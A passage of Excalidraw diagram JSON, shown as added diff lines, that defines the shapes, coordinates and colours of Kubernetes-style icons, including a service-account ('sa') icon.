0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2402, + "versionNonce": 226646240, + "index": "c0Ual", + "isDeleted": false, + "id": "9uAuHrMukF-kW6cpmpaCE", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 5.358545231943218, + "x": 1466.579490366138, + "y": -633.9417574037006, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 174839736, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 1268, + "versionNonce": 1636056288, + "index": "c0UalV", + "isDeleted": false, + "id": "i8DB03tc09EBBJ1XXtLsO", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1500.1277982498136, + "y": -616.681400277037, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 10.252280648612068, + "height": 9.88260706753235, + "seed": 1871192248, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.5526290405350023, + 1.9223026216148493 + ], + [ + -0.49289810810634505, + 6.333740689166632 + ], + [ + 3.5488663783657186, + 8.280688216186745 + ], + [ + 7.615275770243094, + 6.358385594572097 + ], + [ + 8.699651608077065, + 1.9962373378308405 + ], + [ + 5.865487486465552, + -1.5526290405348702 + ], + [ + 1.2076003648605451, + -1.601918851345604 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1524, + "versionNonce": 598319328, + "index": "c0Uam", + "isDeleted": false, + "id": "m3NcpNEWYTAagTOQLP0S-", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1507.4640347844859, + "y": -640.8778456840059, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1546865080, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1683, + "versionNonce": 1132627168, + "index": "c0Uan", + "isDeleted": false, + "id": "K1LvGpniyPvelkS8fWsUm", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0.9101052658279114, + "x": 1519.1588874101901, + "y": -623.4628667364923, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 999379640, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1599, + "versionNonce": 1050601696, + "index": "c0UanV", + "isDeleted": false, + "id": "U9cwTvLXPdX9wa9WlmmT3", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 1.8100395845487913, + "x": 1512.8217287275245, + "y": -603.7488847666109, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1950759864, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1627, + "versionNonce": 1619971296, + "index": "c0Uao", + "isDeleted": false, + "id": "VYjRA3xAzzHUFvwCJNv1d", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 2.6912717400126276, + "x": 1493.4617245276238, + "y": -596.3007312585019, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 2021000376, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1671, + "versionNonce": 48378080, + "index": "c0Uap", + "isDeleted": false, + "id": "GK2m5ph32e7Fc8AgDRv90", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 3.5758525840700663, + "x": 1475.4241489511296, + "y": -606.8464929047168, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1438952888, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1637, + "versionNonce": 1294537952, + "index": "c0UapV", + "isDeleted": false, + "id": "tk6QJtNNXMzWZ2e6b5TRq", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 4.471678909518175, + "x": 1472.5150143690673, + "y": -627.4733315781339, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1163278008, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1690, + "versionNonce": 1962113248, + "index": "c0Uaq", + "isDeleted": false, + "id": "RFovvmXrS5u-UyQKhVTdf", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 5.391113754113791, + "x": 1486.789492037947, + "y": -642.4889629040715, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1003397048, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 3533, + "versionNonce": 2110872800, + "index": "c0Uar", + "isDeleted": false, + "id": "htAS3SuGh8j6GGh0XLwm2", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2095.252643060169, + "y": -510.9921128636174, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 2035411128, + "groupIds": [ + "5zGKxGNfFTUYE0_l6xzHd", + "mwevP-zkXZjDsLb4eDJ4v", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2379, + "versionNonce": 2035466464, + "index": "c0UarV", + "isDeleted": false, + "id": "JzjFt_4smaPrR2amXZK8f", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2096.4104978280134, + "y": -511.9033144457494, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 428085688, + "groupIds": [ + "5zGKxGNfFTUYE0_l6xzHd", + "mwevP-zkXZjDsLb4eDJ4v", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "diamond", + "version": 1352, + "versionNonce": 1191683296, + "index": "c0Uas", + "isDeleted": false, + "id": "9oJ4sMuKFenk4MfNJLq3c", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2073.703391375624, + "y": -495.27737185301976, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 48.50775772329105, + "height": 55.044002467510836, + "seed": 596187832, + "groupIds": [ + "D8Uk4kB9MrHLpvOqrnkrc", + "mwevP-zkXZjDsLb4eDJ4v", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1522, + "versionNonce": 1417677024, + "index": "c0Uat", + "isDeleted": false, + "id": "cB_G8x3F7CkRZXueUfgzS", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2072.975046665065, + "y": -482.6770083603328, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 50.4014539707469, + "height": 52.36798468925869, + "seed": 436536248, + "groupIds": [ + "D8Uk4kB9MrHLpvOqrnkrc", + "mwevP-zkXZjDsLb4eDJ4v", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.946848123727927, + 24.836554630093477 + ], + [ + 11.070839600510828, + 43.4093447493716 + ], + [ + 25.20072698537345, + 51.71247444975476 + ], + [ + 42.31682768353179, + 43.11800686514762 + ], + [ + 50.4014539707469, + 23.08852732474966 + ], + [ + 49.52744031807505, + -0.43700682633595234 + ], + [ + 3.423220139631752, + -0.6555102395039286 + ] + ] + }, + { + "type": "line", + "version": 1871, + "versionNonce": 1565256928, + "index": "c0UatV", + "isDeleted": false, + "id": "ETczSElP-elkEscrtnqqQ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2085.6472678571645, + "y": -458.94251468522316, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 25.701674259092506, + "height": 23.42838906858775, + "seed": 186371256, + "groupIds": [ + "D8Uk4kB9MrHLpvOqrnkrc", + "mwevP-zkXZjDsLb4eDJ4v", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.4828349210523275, + 11.111377847549969 + ], + [ + 5.645454461534744, + 19.420472718884987 + ], + [ + 12.850837129546253, + 23.135126896658285 + ], + [ + 21.57900685626123, + 19.290133975805215 + ], + [ + 25.701674259092506, + 10.329345389071378 + ], + [ + 25.255980485813474, + -0.195508114619646 + ], + [ + 1.7456339453430385, + -0.293262171929469 + ] + ] + }, + { + "type": "ellipse", + "version": 1151, + "versionNonce": 721113312, + "index": "c0Uau", + "isDeleted": false, + "id": "0RlMC9CZDHkjK7alAKAIe", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2090.163981834279, + "y": -482.60417388927635, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 16.387755987598226, + "height": 16.16925257443036, + "seed": 544306616, + "groupIds": [ + "D8Uk4kB9MrHLpvOqrnkrc", + "mwevP-zkXZjDsLb4eDJ4v", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1163, + "versionNonce": 1428042976, + "index": "c0Uav", + "isDeleted": false, + "id": "bz8VqT8H", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2085.53801366028, + "y": -434.6097064807666, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 22.20016520186949, + "height": 22.935001028129516, + "seed": 791281336, + "groupIds": [ + "mwevP-zkXZjDsLb4eDJ4v", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "sa", + "rawText": "sa", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "sa", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3349, + "versionNonce": 21272800, + "index": "c0UavV", + "isDeleted": false, + "id": "AXsayrCd1BxFhwOwqkZEs", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1605.2848451450047, + "y": -506.41177088570385, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1206478776, + "groupIds": [ + "8V0yFcrZAOfydp8O5kjcf", + "qtokYdqVJ8snYT1ZH6YQa", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2195, + "versionNonce": 587103456, + "index": "c0Uaw", + "isDeleted": false, + "id": "MOE7Oesf_MrbNwdE6QPfF", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1606.44269991285, + "y": -507.32297246783537, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1188278456, + "groupIds": [ + "8V0yFcrZAOfydp8O5kjcf", + "qtokYdqVJ8snYT1ZH6YQa", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + 